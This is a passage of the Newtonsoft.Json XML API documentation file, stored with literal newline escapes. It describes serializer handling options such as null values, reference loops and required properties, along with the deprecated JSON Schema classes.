name=\"T:Newtonsoft.Json.MetadataPropertyHandling\">\n            <summary>\n            Specifies metadata property handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\">\n            <summary>\n            Read metadata properties located at the start of a JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.ReadAhead\">\n            <summary>\n            Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Ignore\">\n            <summary>\n            Do not try to read metadata properties.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MissingMemberHandling\">\n            <summary>\n            Specifies missing member handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\">\n            <summary>\n            Ignore a missing member and do not attempt to deserialize it.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a missing member is encountered during deserialization.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.NullValueHandling\">\n            <summary>\n            Specifies null value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingObject\" title=\"NullValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingExample\" title=\"NullValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Include\">\n            <summary>\n            Include null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Ignore\">\n            <summary>\n            Ignore null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ObjectCreationHandling\">\n            <summary>\n            Specifies how object creation is handled by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\">\n            <summary>\n            Reuse existing objects, create new objects when needed.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Reuse\">\n            <summary>\n            Only reuse existing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Replace\">\n            <summary>\n            Always create new objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.PreserveReferencesHandling\">\n            <summary>\n            Specifies reference handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement <see cref=\"T:System.Runtime.Serialization.ISerializable\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"PreservingObjectReferencesOn\" title=\"Preserve Object References\" />       \n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\">\n            <summary>\n            Do not preserve references when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Objects\">\n            <summary>\n            Preserve references when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Arrays\">\n            <summary>\n            Preserve references when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.All\">\n            <summary>\n            Preserve references when serializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ReferenceLoopHandling\">\n            <summary>\n            Specifies reference loop handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a loop is encountered.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Ignore\">\n            <summary>\n            Ignore loop references and do not serialize.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Serialize\">\n            <summary>\n            Serialize loop references.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Required\">\n            <summary>\n            Indicating whether a property is required.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Default\">\n            <summary>\n            The property is not required. The default state.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.AllowNull\">\n            <summary>\n            The property must be defined in JSON but can be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Always\">\n            <summary>\n            The property must be defined in JSON and cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.DisallowNull\">\n            <summary>\n            The property is not required but it cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.Extensions\">\n            <summary>\n            <para>\n            Contains the JSON schema extension methods.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,System.Collections.Generic.IList{System.String}@)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"errorMessages\">When this method returns, contains any error messages generated while validating. </param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,Newtonsoft.Json.Schema.ValidationEventHandler)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"validationEventHandler\">The validation event handler.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchema\">\n            <summary>\n            <para>\n            An in-memory representation of a JSON Schema.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Required\">\n            <summary>\n            Gets or sets whether the object is required.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ReadOnly\">\n            <summary>\n            Gets or sets whether the object is read-only.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Hidden\">\n            <summary>\n            Gets or sets whether the object is visible to users.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Transient\">\n            <summary>\n            Gets or sets whether the object is transient.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Description\">\n            <summary>\n            Gets or sets the description of the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Type\">\n            <summary>\n            Gets or sets the types of values allowed by the object.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Pattern\">\n            <summary>\n            Gets or sets the pattern.\n            </summary>\n            <value>The pattern.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumLength\">\n            <summary>\n            Gets or sets the minimum length.\n            </summary>\n            <value>The minimum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumLength\">\n            <summary>\n            Gets or sets the maximum length.\n            </summary>\n            <value>The maximum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.DivisibleBy\">\n            <summary>\n            Gets or sets a number that the value should be divisible by.\n            </summary>\n            <value>A number that the value should be divisible by.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\">\n            <summary>\n            Gets or sets the minimum.\n            </summary>\n            <value>The minimum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\">\n            <summary>\n            Gets or sets the maximum.\n            </summary>\n            <value>The maximum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMinimum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMaximum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumItems\">\n            <summary>\n            Gets or sets the minimum number of items.\n            </summary>\n            <value>The minimum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumItems\">\n            <summary>\n            Gets or sets the maximum number of items.\n            </summary>\n            <value>The maximum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PositionalItemsValidation\">\n            <summary>\n            Gets or sets a value indicating whether items in an array are validated using the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> instance at their array position from <see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\"/>.\n            </summary>\n            <value>\n            \t<c>true</c> if items are validated using their array position; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalItems\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalItems\">\n            <summary>\n            Gets or sets a value indicating whether additional items are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional items are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.UniqueItems\">\n            <summary>\n            Gets or sets whether the array items must be unique.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Properties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalProperties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PatternProperties\">\n            <summary>\n            Gets or sets the pattern properties.\n            </summary>\n            <value>The pattern properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalProperties\">\n            <summary>\n            Gets or sets a value indicating whether additional properties are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional properties are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Requires\">\n            <summary>\n            Gets or sets the required property if this property is present.\n            </summary>\n            <value>The required property if this property is present.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Enum\">\n            <summary>\n            Gets or sets the a collection of valid enum values allowed.\n            </summary>\n            <value>A collection of valid enum values allowed.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Disallow\">\n            <summary>\n            Gets or sets disallowed types.\n            </summary>\n            <value>The disallowed types.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Default\">\n            <summary>\n            Gets or sets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Extends\">\n            <summary>\n            Gets or sets the collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.\n            </summary>\n            <value>The collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Format\">\n            <summary>\n            Gets or sets the format.\n            </summary>\n            <value>The format.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> to use when resolving schema references.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <param name=\"resolver\">The resolver.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"resolver\">The resolver used.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaException\">\n            <summary>\n            <para>\n            Returns detailed information about the schema exception.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\">\n            <summary>\n            <para>\n            Generates a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a specified <see cref=\"T:System.Type\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.UndefinedSchemaIdHandling\">\n            <summary>\n            Gets or sets how undefined schemas are handled by the serializer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\">\n            <summary>\n            <para>\n            Resolves <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from an id.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaResolver.LoadedSchemas\">\n            <summary>\n            Gets or sets the loaded schemas.\n            </summary>\n            <value>The loaded schemas.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.GetSchema(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.\n            </summary>\n            <param name=\"reference\">The id.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaType\">\n            <summary>\n            <para>\n            The value types allowed by the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.None\">\n            <summary>\n            No type specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.String\">\n            <summary>\n            String type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Float\">\n            <summary>\n            Float type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Integer\">\n            <summary>\n            Integer type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Boolean\">\n            <summary>\n            Boolean type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Object\">\n            <summary>\n            Object type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Array\">\n            <summary>\n            Array type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Null\">\n            <summary>\n            Null type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Any\">\n            <summary>\n            Any type.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling\">\n            <summary>\n            <para>\n            Specifies undefined schema Id handling options for the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.None\">\n            <summary>\n            Do not infer a schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseTypeName\">\n            <summary>\n            Use the .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseAssemblyQualifiedName\">\n            <summary>\n            Use the assembly qualified .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\">\n            <summary>\n            <para>\n            Returns detailed information related to the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Exception\">\n            <summary>\n            Gets the <see 